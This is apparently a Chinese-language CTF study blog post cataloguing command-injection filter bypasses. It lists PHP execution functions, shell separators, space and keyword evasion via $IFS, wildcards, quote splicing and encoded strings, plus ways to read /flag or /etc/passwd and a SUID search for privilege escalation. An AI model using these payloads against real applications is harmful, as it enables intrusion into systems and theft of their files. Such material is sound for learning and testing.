RCE(任意命令执行)绕过

RCE(任意命令执行)绕过

操作系统连接符

分号;:多个命令无论对错顺序执行

&&:前面命令执行不成功后面命令无法执行

&:用于依次执行多个命令,无论前一个命令是否成功。

管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。

||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行

程序执行函数

os.system()

subprocess.Popen()

exec()

示例exec(“cat /flag”)

exec(string $command, array &$output = null, int &$result_code = null): string|false

exec() 执行 command 参数所指定的命令。

如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

1
exec()` 函数用于执行 shell 命令,但不会直接输出执行结果,它的返回值只是命令的最后一行输出,而不是完整的输出。如果你需要完整的执行结果,可以使用 `exec()` 的第二个参数或 `shell_exec()

返回值

命令执行结果的最后一行内容。

shell_exec

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

示例:shell_exec(ls) shell_exec(ls | tee 1.txt)

不能自己回显,需要print_r等输出内容

system

执行外部程序,并且显示输出

示例:system(’ls’)

passthru

exec() 函数类似, passthru() 函数 也是用来执行外部命令的。

想让 passthru() 直接输出到网页,同时存入变量,可以用 tee 命令:

1
passthru("ls | tee temp.txt");

不能自己回显,需要print_r等输出内容

backticks(反引号)

shell_exec() 类似,返回完整的命令输出。

示例:’ls’

不能自己回显,需要print_r等输出内容

popen

1
$handle = popen("ls", "r");| echo stream_get_contents($handle);

不能自己回显,需要print_r等输出内容

proc_open

语法:

1
proc_open($command,$descriptorspec,$pipes,$cwd,$env vars,$options),
1
2
3
4
5
6
$command是要执行的命令。
$descriptorspec是一个描述符规范数组,用于指定进程的输入、输出和错误的文件描述符。
$pipes是一个引用变量,用于存储与进程相关的管道。
$cwd(可选)是设置子进程的当前工作目录。
$env(可选)是设置子进程的环境变量。
$other_options(可选)是其他选项,如设置超时等。

proc_open("ls") 不能直接输出命令执行结果,需要手动读取 pipes[1]echo 逐行输出,使其达到 system("ls")passthru("ls") 的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$descriptorspec = [
1 => ["pipe", "w"], // 标准输出(可读)
2 => ["pipe", "w"] // 标准错误(可读)
];

$process = proc_open("ls", $descriptorspec, $pipes);

if (is_resource($process)) {
while (!feof($pipes[1])) {
echo fgets($pipes[1]); // 逐行读取并输出
flush();
}

fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

}

~取反

PixPin_2025-03-24_21-34-22

PixPin_2025-03-24_21-38-16

/ 被过滤

1
ls{$IFS}-al
1
cd ..%26%26 ..%26%26cd ..&&pwd

空格绕过

大括号{ }里无空格

{cat,flag.php}

$IFS

$IFS$9

${IFS}

%09绕过

重定向字符<,<>

  1. 在某些环境下,<> 可以在特定情况下充当空格的作用。例如:

    1
    cat<flag
1
ls>${PWD}/test

等价于

1
ls > test

利用 $(echo) 命令替换

$(command) 语法在 Bash 中会执行 command 并用其输出替换该语法。因此,可以用 echo 生成一个空格:

1
cat$(echo)/etc/passwd

ls;cat flag

文件名过滤绕过

大小写绕过

通配符??,*绕过

cat /fl??

cat /f*

单引号(‘)双引号(“”)反引号(``)绕过正则

cat /fl””ag

c””at /e’t’c/passwd

外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错

1
passthru('cat /fl""ag.p\'\'hp')

反斜杠\绕过

位置参数特殊变量:$1到$9、$@和$*

或者在单词结尾处插入$x,这里的x可以是任意字母,例如可以写成如下形式:

c$@at /e$@tc/pas$@swd

cat$x /etc$x/passwd$x

ca$@t /etc$x/passwd$x

内联执行绕过

a=c;b=a;c=t;$a$b$c /1.txt

a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)

利用linux中的环境变量

使用环境变量里的字符执行变量

echo $PATH #PATH默认系统环境变量

如果出现:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示了flag.php

比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php

编码绕过

读取命令绕过

使用 vi/vim 读取文件

1
2
3
vi filename

vim filename

或者以只读模式打开文件
可以用 view(Vim 内置的只读模式):

1
2
3
view filename
vim -R filename
//这样 vim 会以 只读模式 打开文件,防止误操作。

tac:反向显示,从最后一行开始往前显示

tac /flag

more:一页一页显示档案内容

more flag.php

less:与more类似

tail:查看末尾几行

nl:显示的时候,顺便输出行号

nl /flag

nl flag :当前目录下查找flag

od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制

想看到文件内容需要:

passthru(“od -A d -c /fla\g”);

xxd:读取二进制文件

xxd /flag

sort:主要用于排序文件

so?t /flag

/usr/bin/s?rt /flag

/usr/bin/sort 和 sort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flag 和 sort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以

uniq:报告或删除文件中重复的行,其实当成cat用就行

file -f:报错出具体内容

passthru(“file -f /flag”);

grep:在文本中查找指定字符串

passthru(“grep fla /fla*”);

strings:

相当于cat

无回显命令执行

1
>1.txt

提权ls /-al

1
find / -user root -perm -4000 -print 2>/dev/null >1.txt

1. find /

  • 作用:从根目录 / 开始递归搜索整个文件系统。

  • **为什么用 /**:表示搜索所有目录和子目录,确保不遗漏任何文件。

    功能 示例
    按文件名查找 find / -name "flag*"(以flag开头的文件)
    按文件类型查找 find / -type f(文件)或 -type d(目录)
    按文件大小查找 find / -size +10M(大于10MB的文件)
    按修改时间查找 find / -mtime -7(7天内修改过的文件)
    对找到的文件执行操作 find / -name "*.log" -exec rm {} \;(删除所有.log文件)
    1
    find / -name "*flag*"  (文件名中含有flag
    1
    system('find / -type f -name "*flag*" 2>/dev/null');
    1. find - 这是 Unix/Linux 系统中用于搜索文件的命令
    2. / - 指定搜索的起始目录,这里是根目录,表示搜索整个文件系统
    3. -type f - 限制只搜索普通文件(不包括目录、设备文件等)
      • f 表示 regular file(普通文件)
    4. -name "*flag*" - 指定要搜索的文件名模式
      • *flag* 表示文件名中包含 “flag” 这个词(前后可以有任意字符)
      • 例如:flag.txt、my_flag_file、flag_backup 等都会被匹配
    5. 2>/dev/null - 错误输出重定向
      • 2> 表示将标准错误输出(stderr)重定向
      • /dev/null 是一个特殊设备,会丢弃所有写入它的数据
      • 这样做的目的是隐藏所有错误消息(如权限不足无法访问某些目录等)

2. -user root

  • 作用:只查找属主(owner)是 root 的文件。
  • 为什么限制 root:因为 SUID 文件如果是 root 所有,运行时可以获取 root 权限,可能存在提权风险。

3. -perm -4000

  • 作用:查找设置了 SUID 位(Set User ID) 的文件。
  • SUID 是什么
    • 当普通用户执行 SUID 文件时,该程序会以 文件所有者(root)的权限 运行。
    • 例如:/bin/passwd 是 SUID 文件,普通用户修改密码时临时获得 root 权限。
  • -4000 的含义
    • 4 代表 SUID 标志(chmod u+s 设置的权限)。
    • - 表示 至少 要有 SUID 位(可能还有其他权限)。

4. -print

  • 作用:打印匹配的文件路径(默认行为,可省略)。

5. 2>/dev/null

  • 作用:将错误信息(如 Permission denied)丢弃,避免干扰结果。
  • 为什么需要:普通用户运行 find / 时,很多系统目录无权限访问,会报错。

6. >1.txt

  • 作用:将标准输出(即找到的文件列表)重定向到 1.txt 文件,而不是显示在终端。

程序执行(当作php代码执行)

readfile 文件读取

fread(fopen(‘/etc/passwd’,’r’),100);

1
aaa=hex2bin('73797374656D')(hex2bin('636174202f2a'));

hex2bin(‘参数’); 转换十六进制字符串为二进制字符串

/bin/date -f/flag 2>1.txt


RCE(任意命令执行)绕过
http://example.com/2025/04/06/RCE(任意命令执行)绕过/
作者
everythingis-ok
发布于
2025年4月6日
许可协议